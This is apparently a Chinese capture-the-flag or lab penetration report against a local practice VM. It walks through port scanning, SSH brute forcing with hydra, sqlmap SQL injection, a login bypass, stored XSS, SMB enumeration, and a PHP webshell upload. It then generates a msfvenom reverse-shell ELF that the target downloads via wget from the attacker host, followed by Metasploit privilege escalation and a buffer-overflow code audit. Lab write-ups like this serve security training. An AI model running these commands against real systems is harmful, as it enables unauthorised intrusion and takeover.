1.22靶场渗透报告
1.22 靶场渗透报告
是一个打包好的镜像文件
直接用 VMware打开,选择我已移动不然没网
信息收集
1.1 arp scan -l寻找目标靶机的 IP 地址
1.2 使用 Nmap 扫描出开放服务及操作系统版本
使用 nmap -sS -sV -sC -p- 192.168.5.136 扫描端口开放的服务和版本
1.3 开放的端口有
| 端口 | 服务 | 版本 |
|---|---|---|
| 22 | SSH | OpenSSH 5.1p1 Debian 5 |
| 25 | SMTP | Exim smtpd 4.50 |
| 80 | HTTP | Apache 2.2.9 + PHP 5.2.6 + Suhosin-Patch |
| 139/445 | SMB | Samba 3.X-4.X |
| 3306 | MySQL | 5.0.51a-24+lenny4 |
| 7777 | 未知服务 | 无明确版本 |
1.4 扫描目录
漏洞分析
2.1 ssh弱口令爆破
先自己写了一个用户名的字典echo -e "root\nadmin\ndebian\nwww-data\nmysql" > /tmp/debian_users.txt
再用hydra暴力破解 hydra -L /tmp/debian_users.txt -P /usr/share/wordlists/rockyou.txt -t 4 192.168.5.136 ssh
但是这个 ssh 版本太老了所以没有成功
2.2 80端口 http://192.168.5.136/admin/post.php 的 sql 注入
2.2.1注入点在 username(sql 1 )
输入 ‘ 尝试闭合发现报错
说明存在 sql 注入
而且 url中没有回显,是 post 传参
使用 burpsuit抓包
发现传的参数有好几个:
把这个请求包保存到 flag.txt 文件中
使用 sqlmap 测试 username sqlmap -r flag.txt -p username
发现存在布尔盲注和时间盲注
尝试脱库
1 | sqlmap -r flag.txt -p username --dbs |
但是失败了可能权限不够,或者盲注连接失败
2.2.1 注入点在 password(sql 2 )
使用 sqlmap 测试 username sqlmap -r flag.txt -p password
发现存在时间盲注
尝试脱库
1 | sqlmap -r flag.txt -p password --dbs |
但是失败了可能权限不够,或者盲注连接失败
2.3 80端口 http://192.168.5.136/admin/profile.php 的 sql 注入
2.3.1注入点在 username(sql 3 )
输入 ‘ 尝试闭合发现报错
说明存在 sql 注入
而且 url中没有回显,是 post 传参
使用 burpsuit抓包
发现传的参数有好几个:
把这个请求包保存到 flag.txt 文件中
使用 sqlmap 测试 username sqlmap -r flag.txt -p username
发现存在布尔盲注和时间盲注
尝试脱库
1 | sqlmap -r flag.txt -p username --dbs |
但是失败了可能权限不够,或者盲注连接失败
2.3.2 注入点在 password (sql 4 )
使用 sqlmap 测试 username sqlmap -r flag.txt -p password
发现存在时间盲注
尝试脱库
1 | sqlmap -r flag.txt -p password --dbs |
但是失败了可能权限不够,或者盲注连接失败
2.4 80端口 http://192.168.5.136/view 的sql注入
这个页面回显有问题
说是缺少 id
加上 id
明显是一个 get 请求的 sql 注入
2.4 sql注入万能密码
既然无法脱库,那就利用注入点使用万能密码,登录进去完成这个表单的功能
1 | Username = admin |
成功登录
2.5 xss
存储型xss(1)
在登录的时候在 body 里面加入 xss 恶意代码
1 | <script>alert(1)</script> |
回到 http://192.168.5.136/myblog.php 这个页面就会出现 弹窗
存储型xss(2)
在另一个登录页面同样这样执行
回到 http://192.168.5.136/myblog.php 这个页面就会出现 弹窗
2.6 SMB 服务(139/445)SMB 允许 guest 匿名访问
报告显示 SMB 允许 guest 匿名访问,且 Samba 版本老旧,这是最高优先级目标:
第一步:枚举共享目录
1 | smbclient -L //192.168.5.136 -N # -N 表示无需密码 |
这两个文件用处不大
RCE (新增加)
1 | http://192.168.5.136/admin/profile.php |
里面有隐藏参数,可以传文件到http://192.168.5.136/profile``s 这里面
用万能密码绕过,抓包看看
可以传文件 后缀也是自己可以改的
传一个一句话木马的 webshell
发现这个参数就是上传文件的
我们传一个一句话木马的 webshell 文件
用蚁剑去连接
查看内核版本,内核渗透
使用msfconsole 模块的 linux/x86/meterpreter/reverse_tcp 获取一个脚本文件
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.202.128 LPORT=4444 -f elf -o exp.elf |
开启 HTTP 协议,把木马文件传到目标靶机
在靶机终端用 wget ``http://192.168.5.130:7894/exp.elf 获取
再用 chmod + x exp.elf 赋予更高的权限,确保能正常的执行
在 msfconsole 中监听
提权(新增加)
先保存这个会话ctrl+z
用 msfconsole 自带的后渗透模块提权 use post/multi/recon/local_exploit_suggester
需要的参数是会话
我们查看会话是否还在
然后设置参数运行
运行结果中第三个百分百成功
use 它然后执行
设置参数,注意 端口一定要换,因为我们的4444 端口已经被占用了
提权成功
2.7 7777可疑端口,可能存在 缓冲区溢出
尝试 协议模糊测试
1 | nc 192.168.5.136 7777 |
发现可以输入东西并且会有回显
先怀疑可能可以执行代码
输入 cmd = ls
发现只是单纯读取了输入
再尝试缓冲区溢出
一直传很多数据
一直到 100000 个A 的时候出现报错
但是只是客户让客户端崩溃,属于 DDOS 攻击
写一个脚本递增的去输入数据
1 | import socket,time,sys |
结果它把数据分段传输了
做了限制
2.8 敏感文件泄露
扫描的目录有一个http://192.168.5.136/repo/`` 里面有一个
2.9 代码审计
对这个.c 文件源码做审计
缓冲区溢出漏洞(高危)
1. vulnerable 函数中的栈缓冲区溢出
1 | void vulnerable(char *net_buffer){char local_buffer[120];strcpy(local_buffer, net_buffer); // 核心漏洞点return;} |
- 问题根源:
strcpy是不安全的字符串拷贝函数,不会检查目标缓冲区(local_buffer,长度 120 字节)和源缓冲区(net_buffer,长度 2048 字节)的长度。当net_buffer中接收的网络数据超过 120 字节时,会覆盖local_buffer所在的栈空间(包括栈帧、返回地址等)。 - 危害:攻击者可构造超长输入覆盖栈上的返回地址,执行任意代码(如获取服务器权限、植入恶意程序)。
1 | strcpy(out_buffer, "RECV: ");strcat(out_buffer, net_buffer); |
out_buffer 仅 20 字节,strcpy + strcat 组合未检查总长度:若 net_buffer 内容过长,会导致 out_buffer 溢出,破坏相邻内存。
二、内存操作不规范
1 | memset(net_buffer, 0, 1024); |
net_buffer 定义为 char net_buffer[2048];,但 memset 仅初始化前 1024 字节,剩余 1024 字节未初始化,可能包含随机内存数据,存在信息泄露风险。
2. recv 返回值未校验
1 | if (recv(new_fd, net_buffer, 1024, 0)) |
recv 的返回值规则:
- 成功:返回接收的字节数;
- 失败:返回
-1; - 连接关闭:返回
0。当前代码仅判断 “非 0”,若recv返回-1(接收失败),仍会执行vulnerable(net_buffer),可能使用无效的net_buffer数据触发异常





